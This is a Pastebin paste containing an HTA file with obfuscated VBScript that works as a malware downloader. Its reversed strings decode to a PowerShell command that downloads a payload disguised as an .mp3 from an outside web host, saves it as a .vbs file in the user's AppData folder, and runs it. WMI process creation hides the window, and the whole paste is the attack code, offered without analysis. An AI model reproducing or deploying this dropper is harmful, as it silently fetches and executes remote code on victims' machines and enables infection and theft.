Advertisement
MestreQueda

Untitled

Jul 8th, 2020
112
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.98 KB | None | 0 0
  1. <html>
  2. <head>
  3. <HTA:APPLICATION icon="#" WINDOWSTATE="minimize" SYSMENU="no" CAPTION="no" />
  4. <SCRIPT Language="VBScript">
  5.  
  6. 'Begin Code
  7. gshjgjshsjhsusyuiweiwuwiuwiuiww = StrReverse(")'sbv.elif'+'\\'+ATADPPA:vne$(ssecorp-trats ;D|')''sbv.elif''+''\\''+ATADPPA:vne$,''3pm.55d12e85daf9a404937699e9ea75ebbf/nwod_pu/selifpu/moc.sdnuosakeermsa.www//:ptth''(e'+'liF'+'dao'+'ln'+'woD.'+')tne'+'ilC'+'beW'+'.teN' +')*O-W* '+'MCG(&(';r$ D las ;)'I','K'(ecalper.'XEK'=r$ llehsrewoP")
  8.  
  9.  
  10.  
  11. exec(gshjgjshsjhsusyuiweiwuwiuwiuiww)
  12.  
  13.  
  14.  
  15. Sub exec(Atc)
  16. strCommand = Atc
  17. Set objWMIService = GetObject(StrReverse("2vmic\toor\.\\!}etanosrepmi=leveLnoitanosrepmi{:stmgmniw"))
  18. Set objStartup = objWMIService.Get(StrReverse("putratSssecorP_23niW"))
  19. Set objConfig = objStartup.SpawnInstance_
  20. objConfig.ShowWindow = 0
  21. Set objProcess = objWMIService.Get(StrReverse("ssecorP_23niW"))
  22. intReturn = objProcess.Create(strCommand, Null, objConfig, intProcessID)
  23. End Sub
  24.  
  25. self.close
  26. </SCRIPT>
  27. </body>
  28. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement